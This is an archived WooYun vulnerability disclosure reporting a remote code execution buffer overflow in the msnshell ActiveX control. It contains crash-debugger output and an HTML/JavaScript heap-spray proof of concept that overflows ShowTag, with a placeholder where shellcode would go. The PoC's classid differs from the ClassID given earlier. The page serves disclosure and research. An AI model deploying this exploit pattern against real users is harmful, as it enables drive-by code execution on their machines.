当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2010-0570

漏洞标题:msnshell远程代码执行漏洞

相关厂商:msnshell

漏洞作者: 疯狗

提交时间:2010-09-17 20:01

修复时间:2010-09-18 11:49

公开时间:2010-09-18 11:49

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2010-09-17: 积极联系厂商并且等待厂商认领中,细节不对外公开
2010-09-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

msnshell是国内一款多功能的msn辅助工具,有着方便而强大聊天加密功能,使其用户群非常广泛,但是该应用有一些已存在多年的远程代码执行漏洞。

详细说明:

问题出在msnshell的activex控件上
ClassID : 20FD1EBC-A607-4C18-9F18-0233EF4D7234
File : MSNShellSDK.dll
ShowTag以及其他部分参数对数据长度的过滤不足,当长度为540字节左右的时候造成缓冲区溢出,控制程序流程。
PS:不只是这一个参数有漏洞!

7C923297    FF75 14         push    dword ptr [ebp+14]
7C92329A FF75 10 push dword ptr [ebp+10]
7C92329D FF75 0C push dword ptr [ebp+C]
7C9232A0 FF75 08 push dword ptr [ebp+8]
7C9232A3 8B4D 18 mov ecx, dword ptr [ebp+18]
7C9232A6 FFD1 call ecx <-- exploit it!
7C9232A8 64:8B25 0000000>mov esp, dword ptr fs:[0]
7C9232AF 64:8F05 0000000>pop dword ptr fs:[0]
7C9232B6 8BE5 mov esp, ebp
7C9232B8 5D pop ebp
7C9232B9 C2 1400 retn 14
eax=7ffd3000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005
eip=7c92120e esp=0118ffcc ebp=0118fff4 iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\W
INDOWS\system32\ntdll.dll -
ntdll!DbgBreakPoint:
7c92120e cc int 3
0:007> g
url:ModLoad: 753b0000 75421000 C:\WINDOWS\system32\mshtmled.dll
url:ModLoad: 76320000 76367000 C:\WINDOWS\system32\comdlg32.dll
ModLoad: 76960000 76984000 C:\WINDOWS\system32\ntshrui.dll
ModLoad: 76af0000 76b01000 C:\WINDOWS\system32\ATL.DLL
ModLoad: 759d0000 75a7f000 C:\WINDOWS\system32\USERENV.dll
ModLoad: 76950000 76958000 C:\WINDOWS\system32\LINKINFO.dll
url:ModLoad: 76b10000 76b3a000 C:\WINDOWS\system32\WINMM.dll
ModLoad: 5dba0000 5dba8000 C:\WINDOWS\system32\rdpsnd.dll
ModLoad: 762d0000 762e0000 C:\WINDOWS\system32\WINSTA.dll
ModLoad: 76f20000 76f28000 C:\WINDOWS\system32\Wtsapi32.dll
ModLoad: 72c80000 72c88000 C:\WINDOWS\system32\msacm32.drv
ModLoad: 77bb0000 77bc5000 C:\WINDOWS\system32\MSACM32.dll
ModLoad: 03070000 0311f000 C:\PROGRA~1\MSNShell\BIN\MSNSHE~1.DLL
ModLoad: 5efe0000 5eff7000 C:\WINDOWS\system32\olepro32.dll
ModLoad: 75bc0000 75c3d000 C:\WINDOWS\system32\JScript.dll
Access violation - code c0000005 (first chance)
eax=41414141 ebx=41414141 ecx=00000000 edx=41414141 esi=0012dfc8 edi=00000000
eip=030746b0 esp=0012dea8 ebp=0012e0d4 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\P
ROGRA~1\MSNShell\BIN\MSNSHE~1.DLL -
MSNSHE~1+46b0:
030746b0 8b40fc mov eax,[eax-0x4] ds:0023:4141413d=????????
0:000> g
Access violation - code c0000005 (first chance)
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9232bc esi=00000000 edi=00000000
eip=41414141 esp=0012dad8 ebp=0012daf8 iopl=0 nv up ei pl zr na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
0:000> d eip
41414141 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
41414151 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
41414161 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
41414171 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
41414181 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
41414191 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
414141a1 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
414141b1 ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
0:000>


漏洞证明:

POC很简单,让程序call到0x0c0c0c0c去,使用堆喷射技术即可。

<html>
<object classid="clsid:BFB06F62-190C-42F6-91B1-3CB03560FE2D" id='target'></object>
<body>
<SCRIPT language="JavaScript">
var shellcode = unescape("you shellcode is here");
var bigblock = unescape("%u0C0C%u0C0C");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<350; x++) memory[x] = block +shellcode;
var buffer = '';
while (buffer.length < 540 ) buffer+='\x0C\x0C\x0C\x0C';
target.ShowTag(buffer);
</script>
</body>
</html>

修复方案:

you know.

版权声明:转载请注明来源 疯狗@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)


漏洞评价:

评论

  1. 2011-10-26 19:12 | Clouds ( 实习白帽子 | Rank:55 漏洞数:12 | test)

    test

  2. 2013-07-31 17:22 | dir ( 路人 | Rank:8 漏洞数:3 | http://www.wooyun.org/)

    膜拜。。。。

  3. 2014-04-28 18:21 | 伟哥 ( 普通白帽子 | Rank:110 漏洞数:29 | 不怕流氓有文化,就怕色狼有耐心,那么一只起...)

    膜拜!

  4. 2014-08-02 16:20 | Mirror ( 路人 | Rank:19 漏洞数:5 | ->_->)

    膜拜

  5. 2015-02-03 18:00 | Mr.Q ( 普通白帽子 | Rank:336 漏洞数:51 | hulala)

    @疯狗 狗哥 麻烦提醒车讯网 确认漏洞 他们家的所有漏洞都被他们忽略了

  6. 2015-02-03 18:50 | 疯狗 认证白帽子 ( 实习白帽子 | Rank:44 漏洞数:2 | 阅尽天下漏洞,心中自然无码。)

    @Mr.Q 好的,邮件跟接口人联系提醒一下。

  7. 2015-02-05 12:28 | Mr.Q ( 普通白帽子 | Rank:336 漏洞数:51 | hulala)

    @疯狗 狗哥 厂商 车讯网依旧对漏洞置若罔闻 醉了

  8. 2015-02-11 15:34 | 蛇精病 ( 路人 | Rank:23 漏洞数:10 | 你连棒棒糖都没有,还谈什么狗屁爱情?)

    @Mr.Q 文化人

  9. 2015-02-11 17:48 | Mr.Q ( 普通白帽子 | Rank:336 漏洞数:51 | hulala)

    @蛇精病 求不黑啊 车讯网那厂商所有漏洞全忽略 还不给补rank T-T

  10. 2015-04-13 16:12 | an0nym0u5 ( 普通白帽子 | Rank:172 漏洞数:31 )

    @疯狗 狗哥我刚提交的漏洞不见了是怎么回事啊?在“待审核”“已通过”“未通过”中都找不着了……

  11. 2015-09-07 09:12 | 老实先生 ( 路人 | Rank:7 漏洞数:4 | 早日告别路人状态)

    @疯狗 请问你是原来77169的站长吗?

  12. 2015-09-13 15:04 | xk0n ( 路人 | Rank:16 漏洞数:4 | ..)

    @疯狗 求审核我的洞啊